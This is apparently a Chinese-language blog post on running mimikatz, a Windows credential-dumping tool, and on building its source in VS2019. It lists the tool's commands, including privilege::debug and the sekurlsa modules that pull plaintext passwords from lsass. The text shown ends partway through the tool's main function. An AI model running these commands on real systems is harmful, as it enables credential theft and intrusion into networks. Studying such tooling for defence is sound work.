mimikatz使用以及源码分析
前言
Mimikatz 是法国人 Gentil Kiwi 编写的一款 windows 平台下的神器,它具备很多功能,其中最亮的功能是直接从 lsass.exe 进程里获取 windows 处于 active 状态账号的明文密码。mimikatz 的功能不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz 包含了很多本地模块,更像是一个轻量级的调试器。理论上可以抓取所有 windows 系统的明文密码(winxp 之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz 其实并不只有抓取口令这个功能,它还能够创建票证、票证
传递、hash 传递、甚至伪造域管理凭证令牌等诸多功能。
以下是本篇文章正文内容
一、mimikatz安装运行
mimikatz工具
下载地址:https://github.com/gentilkiwi/mimikatz/releases
mimikatz基础命令
exit 退出
version 查看mimikatz的版本
privilege::debug 提升权限
privilege::list 列出权限列表
service::list 列出系统的服务
process::list 列出进程
system::user 查看当前登录的系统用户
nogpo::cmd 打开系统的cmd.exe
nogpo::regedit 打开系统的注册表
sekurlsa::wdigest 获取本地用户信息及密码
sekurlsa::kerberos 获取kerberos用户信息及密码
sekurlsa::logonPasswords 获登陆用户信息及密码
在vs 2019下运行该工程会出现一些错误,编译不了,在这里解释一下如何解 决这些问题运行代码。
第一个问题:vs2019提示错误MSB8041 MFC libraries are required for this project
MSB8041 MFC libraries are required for this project
这是因为vs 2019不会自动安装MFC组件,所以我们需要在vs_installer 下安装MFC组件。
点击单个组件,选中 “适用最新的C++ MFC” ,然后安装,重启vs 2019即可。
第二个问题是:没有 debug 模式
修改该工程的配置属性:
修改如下:
第三个问题是:错误 error C2220: 警告被视为错误
错误 error C2220: 警告被视为错误
打开Vs 2019-项目 - 属性 - 配置属性 - C/C++ - 常规 - 将警告视为错误 修改为 否,重新编译即可。
最后编译运行:
成功!!
二、mimikatz源码分析
1.函数具体功能
主函数
代码如下:
int wmain(int argc, wchar_t * argv[])
{
int i, status = STATUS_SUCCESS;
#ifndef _WINDLL
size_t len;
wchar_t input[0xffff];
kull_m_output_init();
SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
SetConsoleCtrlHandler(HandlerRoutine, TRUE);
#endif
kprintf(L"\n"
L" .#####. " MIMIKATZ_FULL L"\n"
L" .## ^ ##. \n"
L" ## / \\ ## /* * *\n"
L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n"
L" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n"
L" '#####' " MIMIKATZ_SPECIAL L" with %2u modules * * */\n\n", ARRAYSIZE(mimikatz_modules));
mimikatz_initOrClean(TRUE);
for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
{
kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
status = mimikatz_dispatchCommand(argv[i]);
}
#ifndef _WINDLL
while (status != STATUS_FATAL_APP_EXIT)
{
kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)